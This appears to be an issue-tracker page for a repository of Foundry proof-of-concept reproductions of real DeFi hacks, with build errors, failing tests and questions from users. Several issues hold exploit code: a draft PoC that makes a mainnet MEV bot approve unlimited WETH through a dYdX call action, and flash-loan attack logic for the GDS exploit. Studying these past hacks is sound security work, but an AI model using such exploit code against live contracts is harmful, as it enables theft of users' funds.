I am eager to contribute to the course by translating the initial four articles into Simplified Chinese to make the content more accessible to a wider audience. I would like to inquire whether you welcome the submission of a Pull Request for this translation task. If you have any specific guidelines or preferences, I am open to discussion and would appreciate your guidance.

Thank you for your time and effort. I look forward to potentially contributing to the enhancement of this course.

About the Difference Between Simplified and Traditional Chinese:
Simplified Chinese and Traditional Chinese are two different writing forms of the Chinese language. Traditional Chinese characters have more complex strokes, while Simplified Chinese characters are streamlined and simplified, a result of a character simplification movement in the 1950s and 60s. Although both forms share the same linguistic foundation, they may differ in character structure, word usage, and expression conventions.

RES02_exp.sol and RES_exp.sol keep getting killed

Component

Forge

Have you ensured that all of these are up to date?

  • Foundry
  • Foundryup

What version of Foundry are you on?

forge 0.2.0 (08a629a 2023-06-03T00:04:22.625130135Z)

What command(s) is the bug in?

The Foundry keeps killing the following test run:

$ forge test --contracts src/test/RES02_exp.sol -vv

Operating System

Ubuntu 22.04.2 LTS on Windows 11 with WSL2

Describe the bug

I have tried forge clean, it does not help.

I have tried adding one by one or all of following into foundry.toml but do not seem to help:

via-ir = true
memory_limit = 17179869184
gas_limit = "18446744073709551615"
optimizer = true
optimizer-runs = 10_000_000

I have also tried closing browser, monitor the memory resource (peaked around 90%) and CPU resource (peaked around 60%), nothing seem to help.

Sample screenshot of the killed:

[⠒] Compiling...
[⠢] Compiling 10 files with 0.8.19
[⠢] Solc 0.8.19 finished in 2.02s
Compiler run successful with warnings:
Warning (2519): This declaration shadows an existing declaration.
    --> src/test/interface.sol:1126:5:
     |
1126 |     function WETH() external view returns (address);
     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Note: The shadowed declaration is here:
   --> src/test/interface.sol:825:1:
    |
825 | interface WETH {
    | ^ (Relevant source part starts here and spans across multiple lines).

Warning (2519): This declaration shadows an existing declaration.
    --> src/test/interface.sol:2073:5:
     |
2073 |     function WETH() external view returns (address);
     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Note: The shadowed declaration is here:
   --> src/test/interface.sol:825:1:
    |
825 | interface WETH {
    | ^ (Relevant source part starts here and spans across multiple lines).

Warning (2519): This declaration shadows an existing declaration.
    --> src/test/interface.sol:2394:5:
     |
2394 |     function WETH() external view returns (address);
     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Note: The shadowed declaration is here:
   --> src/test/interface.sol:825:1:
    |
825 | interface WETH {
    | ^ (Relevant source part starts here and spans across multiple lines).

Warning (2519): This declaration shadows an existing declaration.
    --> src/test/interface.sol:3262:5:
     |
3262 |     function WETH() external view returns (address);
     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Note: The shadowed declaration is here:
   --> src/test/interface.sol:825:1:
    |
825 | interface WETH {
    | ^ (Relevant source part starts here and spans across multiple lines).

Warning (2519): This declaration shadows an existing declaration.
    --> src/test/interface.sol:4682:5:
     |
4682 |     function WETH() external view returns (address);
     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Note: The shadowed declaration is here:
   --> src/test/interface.sol:825:1:
    |
825 | interface WETH {
    | ^ (Relevant source part starts here and spans across multiple lines).

Warning (2519): This declaration shadows an existing declaration.
  --> src/test/RES02_exp.sol:26:5:
   |
26 |     IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Note: The shadowed declaration is here:
    --> src/test/interface.sol:2049:1:
     |
2049 | interface USDT {
     | ^ (Relevant source part starts here and spans across multiple lines).

Warning (2519): This declaration shadows an existing declaration.
  --> src/test/RES02_exp.sol:29:5:
   |
29 |     IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Note: The shadowed declaration is here:
    --> src/test/interface.sol:2646:1:
     |
2646 | interface WBNB {
     | ^ (Relevant source part starts here and spans across multiple lines).

Warning (3628): This contract has a payable fallback function, but no receive ether function. Consider adding a receive ether function.
    --> src/test/interface.sol:2659:1:
     |
2659 | interface IWBNB {
     | ^ (Relevant source part starts here and spans across multiple lines).
Note: The payable fallback function is defined here.
    --> src/test/interface.sol:2686:5:
     |
2686 |     fallback() external payable;
     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Warning (8417): Since the VM version paris, "difficulty" was replaced by "prevrandao", which now returns a random number based on the beacon chain.
  --> script/LuckyTiger_s_exp.sol:28:47:
   |
28 |         if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {
   |                                               ^^^^^^^^^^^^^^^^

Warning (8417): Since the VM version paris, "difficulty" was replaced by "prevrandao", which now returns a random number based on the beacon chain.
  --> script/LuckyTiger_s_exp.sol:44:47:
   |
44 |         if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {
   |                                               ^^^^^^^^^^^^^^^^

Warning (5815): Interface functions are implicitly "virtual"
   --> src/test/interface.sol:333:5:
    |
333 |     function owner() external view virtual returns (address);
    |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Warning (5159): "selfdestruct" has been deprecated. The underlying opcode will eventually undergo breaking changes, and its use is not recommended.
  --> src/test/RES02_exp.sol:21:9:
   |
21 |         selfdestruct(payable(msg.sender));
   |         ^^^^^^^^^^^^

Warning (9302): Return value of low-level calls not used.
  --> src/test/RES02_exp.sol:55:9:
   |
55 |         address(WBNB).call{value: 30000 ether}("");
   |         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Warning (5667): Unused function parameter. Remove or comment out the variable name to silence this warning.
  --> src/test/RES02_exp.sol:98:9:
   |
98 |         address sender,
   |         ^^^^^^^^^^^^^^

Warning (5667): Unused function parameter. Remove or comment out the variable name to silence this warning.
  --> src/test/RES02_exp.sol:99:9:
   |
99 |         uint256 baseAmount,
   |         ^^^^^^^^^^^^^^^^^^

Warning (5667): Unused function parameter. Remove or comment out the variable name to silence this warning.
   --> src/test/RES02_exp.sol:100:9:
    |
100 |         uint256 quoteAmount,
    |         ^^^^^^^^^^^^^^^^^^^

Warning (5667): Unused function parameter. Remove or comment out the variable name to silence this warning.
   --> src/test/RES02_exp.sol:101:9:
    |
101 |         bytes calldata data
    |         ^^^^^^^^^^^^^^^^^^^

Killed

Do you have any idea what could be causing the kill?

Is there any way we could increase the timeout before the kill?

POC-Focused

Hi, great resources thank you for the work you put in, where can I find instructional PoC in Foundary for some of these Hacks? It would be great to resource to learn from

Errors preventing `forge build` to compile the project

Hey, thanks for this awesome project!

I noticed several issues preventing forge build to work:

  • Missing CheatCodes in src/test/LiFi_exp.sol:
File: LiFi_exp.sol
37: contract ContractTest is DSTest {
38:     address from = address(0x00c6f2bde06967e04caaf4bf4e43717c3342680d76);
39:     address lifi = address(0x005a9fd7c39a6c488e715437d7b1f3c823d5596ed1);
40:     address exploiter = address(0x00878099f08131a18fab6bb0b4cfc6b6dae54b177e);  
+ 41:     CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
  • log_named_bool doesn't exist. Consider the following in Qubit_exp.sol:
File: Qubit_exp.sol
- 45:   emit log_named_bool("is 0 address whitelisted", IQBridgeHandler(QBridgeHandler).contractWhitelist(address(0)));
+ 45:   emit log_named_uint("is 0 address whitelisted", IQBridgeHandler(QBridgeHandler).contractWhitelist(address(0)) ? 1 : 0);
  • Commented bracket in Ronin_exp.sol:
File: Ronin_exp.sol
-  43:    // https://medium.com/coinmonks/how-to-implement-gas-less-transactions-on-ethereum-9f9273d2f059  }
+ 43:     // https://medium.com/coinmonks/how-to-implement-gas-less-transactions-on-ethereum-9f9273d2f059  
+ 44:   }

Then we can get:

Compiling 73 files with 0.8.10
Solc 0.8.10 finished in 11.30s
Compiler run successful (with warnings)

What is the difference between Test and DSTest?

In some test cases like src/test/88mph_exp.sol, you have:

contract ContractTest is DSTest {
...
}

And, in some test cases like src/test/BUNN_exp.sol, there is:

contract ContractTest is Test {
...
}

I am wondering what the difference is between these two. I have already taken a look at the forge-std library:

abstract contract Test is DSTest, Script {
}

So, can I replace DSTest with Test in the test cases?

POC Badc0de

Hi guys im trying to make a poc of badc0de mev issue;
https://rekt.news/ripmevbot/

This is what i got so far...

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

interface Structs {
    struct Val {
        uint256 value;
    }

    enum ActionType {
      Deposit,   // supply tokens
      Withdraw,  // borrow tokens
      Transfer,  // transfer balance between accounts
      Buy,       // buy an amount of some token (externally)
      Sell,      // sell an amount of some token (externally)
      Trade,     // trade tokens against another account
      Liquidate, // liquidate an undercollateralized or expiring account
      Vaporize,  // use excess tokens to zero-out a completely negative account
      Call       // send arbitrary data to an address
    }

    enum AssetDenomination {
        Wei // the amount is denominated in wei
    }

    enum AssetReference {
        Delta // the amount is given as a delta from the current value
    }

    struct AssetAmount {
        bool sign; // true if positive
        AssetDenomination denomination;
        AssetReference ref;
        uint256 value;
    }

    struct ActionArgs {
        ActionType actionType;
        uint256 accountId;
        AssetAmount amount;
        uint256 primaryMarketId;
        uint256 secondaryMarketId;
        address otherAddress;
        uint256 otherAccountId;
        bytes data;
    }

    struct Info {
        address owner;  // The address that owns the account
        uint256 number; // A nonce that allows a single address to control many accounts
    }

    struct Wei {
        bool sign; // true if positive
        uint256 value;
    }
}

interface DyDxPool is Structs {
    function getAccountWei(Info memory account, uint256 marketId) external view returns (Wei memory);
    function operate(Info[] memory, ActionArgs[] memory) external;
}

contract ContractTest is Test {
    WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    DyDxPool pool = DyDxPool(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e); //this is dydx solo margin sc

    address exploiter;
    address MEVBOT = 0xbaDc0dEfAfCF6d4239BDF0b66da4D7Bd36fCF05A;
    
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); 
    
    function setUp() public {
        exploiter = cheats.addr(31337);

        // fork mainnet at block 15625424 
        cheats.createSelectFork("mainnet", 15625424 );
    }

    function testExploit() public {
        console.log("MEV Bot balance before exploit:", weth.balanceOf(MEVBOT));
        
        Structs.Info[] memory _infos = new Structs.Info[](1);
        _infos[0] = Structs.Info({owner: address(this), number: 1});
        
        Structs.ActionArgs[] memory _args = new Structs.ActionArgs[](1);
        _args[0] = Structs.ActionArgs(
            // ActionType actionType;
            Structs.ActionType.Call,
            // uint256 accountId;
            0,
            // AssetAmount amount;
            Structs.AssetAmount(
                // bool sign; // true if positive
                false,
                // AssetDenomination denomination;
                Structs.AssetDenomination.Wei,
                // AssetReference ref;
                Structs.AssetReference.Delta,
                // uint256 value;
                0
            ),
            // uint256 primaryMarketId;
            0,
            // uint256 secondaryMarketId;
            0,
            // address otherAddress;
            MEVBOT,
            // uint256 otherAccountId;
            0,
            // bytes data;
            abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max)
            // go()
        );
        pool.operate(_infos, _args);
    }

    function go() internal view returns(bytes memory) {
        return abi.encode(
                0x0000000000000000000000000000000000000000000000000000000000000003,
                address(pool),
                0x0000000000000000000000000000000000000000000000000000000000000000,
                0x0000000000000000000000000000000000000000000000000000000000000000,
                0x0000000000000000000000000000000000000000000000000000000000000000,
                0x00000000000000000000000000000000000000000000000000000000000000e0,
                0x000000000000000000000000000000000000000000000beff1ceef246ef7bd1f,
                0x0000000000000000000000000000000000000000000000000000000000000001,
                0x0000000000000000000000000000000000000000000000000000000000000020,
                0x0000000000000000000000000000000000000000000000000000000000000000,
                0x0000000000000000000000000000000000000000000000000000000000000000,
                address(this),
                address(weth),
                0x00000000000000000000000000000000000000000000000000000000000000a0,
                address(this),
                0x0000000000000000000000000000000000000000000000000000000000000040,
                0x00000000000000000000000000000000000000000000000000000000000000a0,
                0x0000000000000000000000000000000000000000000000000000000000000004,
                0x4798ce5b00000000000000000000000000000000000000000000000000000000,
                0x0000000000000000000000000000000000000000000000000000000000000002,
                0x0000000000000000000000000000000000000000000000000000000000000004,
                0x0000000000000000000000000000000000000000000000000000000000000001,
                0x0000000000000000000000000000000000000000000000000000000000000001,
                0x0000000000000000000000000000000000000000000000000000000000000002,
                0x0000000000000000000000000000000000000000000000000000000000000002
            );
    }
}

BXH_exp.sol

Get a error when i try to reproduce BXH :

Failing tests:
Encountered 1 failing test in src/test/BXH_exp.sol:Attacker
[FAIL. Reason: BEP20: transfer amount exceeds balance] testExploit() (gas: 587988)

I find the reason is the “deposit()” function in flashloanCall does not execute as expected by function trace, but i dont how to fix it

Lack of comments in POCs

What you guys are doing for the Web3 security community is fantastic, reproducing all DeFi hacks with Foundry. However, I wish I could go through all of them and reproduce them myself. It's a bit overwhelming to read the POCs of the attacks without clear comments indicating what each line does, whether the attack is on a fork or just a testnet. Thanks again for your commitment, but please consider adding comments to make it easier to understand.

Address Not Found in src/test/LiFi_exp.sol

Consider the following snippet from src/test/LiFi_exp.sol:

address lifi = address(0x005a9fd7c39a6c488e715437d7b1f3c823d5596ed1);

When I search the given address i.e. 0x005a9fd7c39a6c488e715437d7b1f3c823d5596ed1 on etherscan.io, nothing found! Why?
If this address doesn't exist on the blockchain, how the test case passes successfully?

大哥有个exp复现出错

https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/grok_exp.sol

Running 1 test for src/test/grok_exp.sol:ContractTest
[FAIL. Reason: EvmError: Revert] testExpolit() (gas: 8660281895700906382)
Logs:
  attaker balance before attack:: 0.000000000000000000

Traces:
  [8660281895700906382] ContractTest::testExpolit()
    ├─ [2534] WETH::balanceOf(ContractTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
    ├─ [2444] WETH::decimals() [staticcall]
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000012
    ├─ emit log_named_decimal_uint(key: attaker balance before attack:, val: 0, decimals: 18)
    ├─ [8660281895700888014] 0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa::flash(ContractTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0, 30000000000000000000 [3e19], 0x00)
    │   ├─ [2534] 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0::balanceOf(0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa) [staticcall]
    │   │   └─ ← 0x000000000000000000000000000000000000000000000194948decbd3a9dbeba
    │   ├─ [2534] WETH::balanceOf(0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa) [staticcall]
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000cfa2e42703ab1d8964
    │   ├─ [25962] WETH::transfer(ContractTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 30000000000000000000 [3e19])
    │   │   ├─ emit Transfer(from: 0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa, to: ContractTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 30000000000000000000 [3e19])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [8660281895700842691] ContractTest::uniswapV3FlashCallback(0, 3000000000000000 [3e15], 0x00)
    │   │   ├─ [8660281895700836567] 0x66bA59cBD09E75B209D1D7E8Cf97f4Ab34DA413B::flash(ContractTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 63433590767572373 [6.343e16], 0, 0x00)
    │   │   │   ├─ [39] GROK::balanceOf(0x66bA59cBD09E75B209D1D7E8Cf97f4Ab34DA413B) [staticcall]
    │   │   │   │   └─ ← EvmError: NotActivated
    │   │   │   └─ ← EvmError: Revert
    │   │   └─ ← EvmError: Revert
    │   └─ ← EvmError: Revert
    └─ ← EvmError: Revert

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.97s

Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in src/test/grok_exp.sol:ContractTest
[FAIL. Reason: EvmError: Revert] testExpolit() (gas: 8660281895700906382)

Encountered a total of 1 failing tests, 0 tests succeeded

Project fails to build

When you run forge build, the compilation fails with the following error:

Error (2333): Identifier already declared.
  --> src/test/Cellframe_exp.sol:15:1:
   |
15 | interface IPancakeV3Pool {
   | ^ (Relevant source part starts here and spans across multiple lines).
Note: The previous declaration is here:
 --> src/test/Cellframe_exp.sol:5:1:
  |
5 | import "./interface.sol";
  | ^^^^^^^^^^^^^^^^^^^^^^^^^

As per the error message itself, src/test/Cellframe_exp.sol tries to define an interface IPancakeV3Pool which is already defined and imported via import "./interface.sol";

Hundred Finance Poc not working

The Poc here: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/HundredFinance_2_exp.sol is not working currently with the latest version of Foundry.

Running it with forge test -vvv

Got error:

ERROR sharedbackend: Failed to send/recv `basic` err=GetAccount(0x0000000000000000000000000000000000000000, 
(code: -32000, message: missing trie node 7887fc47300c36f531168e38613b85a3a5d30ef0f9fa6f36cb6d67978630e8b9 (path ), data: None)) address=0x0000000000000000000000000000000000000000
The application panicked (crashed).
Message:  called `Option::unwrap()` on a `None` value

NewFreeDAO_exp.sol PoC doesn't pass

I read this PoC https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/NewFreeDAO_exp.sol.

And then I run it in the foundry, but the test fails, the output is an EVM error revert.

│ └─ ← ()
└─ ← "EvmError: Revert"
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 797.42ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/09.NewFreeDAO/test.sol:Attacker
[FAIL. Reason: EvmError: Revert] testExploit() (gas: 41601173)
Encountered a total of 1 failing tests, 0 tests succeeded

in GDS_exp POC, why call twice flashLoan?

when i test it, once is enough

https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/GDS_exp.sol#L104

 function executeOperation(
        address pool,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata params
    ) external{
        DODOFLashLoan();
        USDT.transfer(address(swapFlashLoan), SwapFlashLoanAmount * 10000 / 9992 + 1000);
    }

    function DODOFLashLoan() internal{
        dodoFlashLoanAmount = USDT.balanceOf(dodo);
        DVM(dodo).flashLoan(0, dodoFlashLoanAmount, address(this), new bytes(1));
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{
        USDTToGDS(600_000 * 1e18);
        GDSUSDTAddLiquidity(USDT.balanceOf(address(this)), GDS.balanceOf(address(this)));
        WithdrawRewardFactory();
        GDSUSDTRemovLiquidity();
        GDSToUSDT();
        USDT.transfer(dodo, dodoFlashLoanAmount);
    }

change like this

 function executeOperation(
        address pool,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata params
    ) external{
        USDTToGDS(600_000 * 1e18);
        GDSUSDTAddLiquidity(USDT.balanceOf(address(this)), GDS.balanceOf(address(this)));
        WithdrawRewardFactory();
        GDSUSDTRemovLiquidity();
        GDSToUSDT();
        USDT.transfer(address(swapFlashLoan), SwapFlashLoanAmount * 10000 / 9992 + 1000);
    }

Error: EGD-Finance.exp.sol

Experiencing the following error on the above added exploit;

2022-08-09T09:16:05.166703Z ERROR forge::runner: setUp failed reason="EvmError: Revert" contract=0xb4c79dab8f259c7aee6e5b2aa729821864227e84

Parity Hack PoC Inconsistency

The last isOwner call should have returned false, but instead I still see my contract's address after the wallet library is destroyed. Am I doing something wrong?

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.